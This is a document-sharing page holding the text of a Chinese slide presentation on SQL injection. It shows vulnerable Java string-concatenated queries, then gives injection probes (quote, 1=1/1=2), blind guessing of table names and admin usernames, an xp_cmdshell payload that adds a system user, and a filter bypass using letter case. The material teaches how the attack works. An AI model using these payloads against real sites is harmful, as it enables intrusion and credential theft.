浅析sql注入

上传人:mg****85 文档编号:49560015 上传时间:2018-07-30 格式:PPT 页数:14 大小:1.37MB
返回 下载 相关 举报
浅析sql注入_第1页
第1页 / 共14页
浅析sql注入_第2页
第2页 / 共14页
浅析sql注入_第3页
第3页 / 共14页
浅析sql注入_第4页
第4页 / 共14页
浅析sql注入_第5页
第5页 / 共14页
点击查看更多>>
资源描述

《浅析sql注入》由会员分享,可在线阅读,更多相关《浅析sql注入(14页珍藏版)》请在金锄头文库上搜索。

1、浅析Sql注入 (Sql Injection)1什么是Sql注入随着B/S模式应用开发的发展,使用这 种模式编写应用程序的程序员也越来越多。 但是由于这个行业的入门门槛不高,程序员 的水平及经验也参差不齐,相当大一部分程 序员在编写代码的时候,没有对用户输入数 据的合法性进行判断,使应用程序存在安全 隐患。用户可以提交一段数据库查询代码,根 据程序返回的结果,获得某些他想得知的数 据,这就是所谓的SQL Injection,即SQL注 入。 2SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的 Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL 注入发出警报,如果管理员没查看

2、IIS(Web服务器)日志的习惯 ,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外 的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句, 从而成功获取想要的数据,是高手与“菜鸟”的根本区别。 为什么会用Sql注入31. 没有使用PreparedStatement对象的setString()等方法进行传 参,而是使用的“拼串”方式。例如:Sql注入是怎样产生的(Java Web)public foodBean getFoodById(String id) con=this.getCon(); String sql=“select * from f

3、oodinfo where foodId =“+id+“; System.out.println(sql); stmt=con.prepareStatement(sql); rs=stmt.executeQuery(); 2. 导致非法参数传入,构造成非法的sql语句! 例如在此处给id传入值为“ 20 ; (任意sql语句) ; - ”,构造成 select * from foodinfo where foodId =20 ; ( 任意sql语句) ; - 4怎样进行Sql注入(Java Web) 如何测试是否存在Sql注入(一)示例: 如 http:/localhost:8080/rest

4、rantNew/details.jsp?foodID=02 1.在此URL尾处加上单引符号“ ”2.最终执行的sql语句则是select * from foodinfo where foodId =203.页面出现错误,因为语句中出现未闭合的单引号。结论:加单引号和不加此单引号返回显示的页面不相同,可判断为 此处存在Sql注入漏洞!5怎样进行Sql注入(Java Web)如何测试是否存在Sql注入(二)有些程序中简单的过滤掉了单引号,如果你用单引号测试,是测不到注入点的 那么,什么样的测试方法才是比较准确呢?答案如下: http:/localhost:8080/restrantNew/deta

5、ils.jsp?foodID=02 and 1=1 http:/localhost:8080/restrantNew/details.jsp?foodID=02 and 1=2这就是经典的1=1、1=2测试法了,怎么判断呢?返回正常页面,出现错误,则此处存在Sql注 入漏洞!6怎样进行Sql注入(Java Web)SQL注入的一般步骤 (一)1. 判断环境,寻找注入点,判断数据库类型 2. 根据注入参数类型,在脑海中重构SQL语句的原貌,按 参数类型主要分为下面三种 ID=20 这类注入的参数是数字型,SQL语句原貌大致如下: Select * from 表名 where 字段=49 注入的参

6、数为ID=49 And 查询条件,即是生成语句: Select * from 表名 where 字段=49 And 查询条件 type=Student 这类注入的参数是字符型,SQL语句原貌大致概 如下: Select * from 表名 where 字段=Student 注入的参数为type=Student and 查询条件 - ,即是生成语句: Select * from 表名 where 字段Student and 查询条件 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致 如下: Select * from 表名 where 字段 like %关键字% 注入参数省略7怎

7、样进行Sql注入(Java Web)SQL注入的一般步骤 (二)3. 将查询条件替换成SQL语句,猜解表名、字段名猜测是否存在此表、和字段 1. And (Select Count(*) from 表名 )=0 2. 表名猜出来后,将Count(*)替换成Count(字段名),用同样的原 理猜解字段名。 如果存在,返回正常页面。 如果不存在,返回错误页面。 有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律 的,那根本就没得玩下去了。说得很对,这世界根本就不存在 100%成功的。黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是 因为别人的程序写得不严密或使用者保密意识不够,才有得

8、下 手。8怎样进行Sql注入(Java Web)SQL注入的一般步骤 (三)4. 猜测字段内内容 1. 得到字符内容长度 举个例子: 已知表Admin中存在username字段,首先,我们取第一条记录, 测试长度 ?id=49 ;and (select top 1 len(username) from Admin)0 - 原理:如果top 1的username长度大于0,则条件成立,返回正常页 面;接着就是1、2、3这样测试下去,一直到条件不成立为 止。 比如7成立,8不成立,就是len(username)=8 9怎样进行Sql注入(Java Web)SQL注入的一般步骤 (四)5. 猜测字段

9、内内容 2. 得到字符内容 在得到username的长度后,用unicode(substring(username,N,1)截取 第N位字符 再unicode(substring(username,N,1)得到ASCII码,比如: and (select top 1 unicode(substring(username,1,1) from Admin)0 同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意 的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜 解,如果写成程序测试,效率会有极大的提高。 常用函数补充 Access:asc(字符) SQLServer:un

10、icode(字符) 作用:返回某字符的ASCII码 Access:chr(数字) SQLServer:nchar(数字) 作用:与asc相反,根据ASCII码返回字符 10怎样进行Sql注入(Java Web)利用存储过程、内置变量 更方便 SA用户权限,调用系统存储过程 执行命令 exec masterxp_cmdshell “net user name password /add“ 数据库名 db_name() 表名 Select Top 1 name from sysobjects where xtype=U and status0 字段名 Select Top 1 col_name(o

11、bject_id(foodInfo),1) from sysobjects 11经验小结 1.有些人会过滤Select、Update、Delete这些关键字 ,但偏偏忘记区分大小写,所以大家可以用selecT 这样尝试一下。 2.在猜不到字段名时,不妨看看网站上的登录表单 ,一般为了方便起见,字段名都与表单的输入框 取相同的名字。 3.特别注意:地址栏的+号传入程序后解释为空格 ,%2B解释为+号,%25解释为%号,具体可以参 考URLEncode的相关介绍。 12附录 附件一:URLUnicode表(节选,主要是非字母的字 符,RFC1738)字符 特殊字符的含义 URL编码 # 用来标志特定的文档位置 %23 % 对特殊字符进行编码 %25 & 分隔不同的变量值对 %26 + 在变量值中表示空格 %2B / 表示目录路径 %2F %5C= 用来连接键和值 %3D ? 表示查询字符串的开始 %3F空格 %20 . 句号 %2E : 冒号 %3A 13Thank you14

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 建筑/环境 > 建筑资料

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号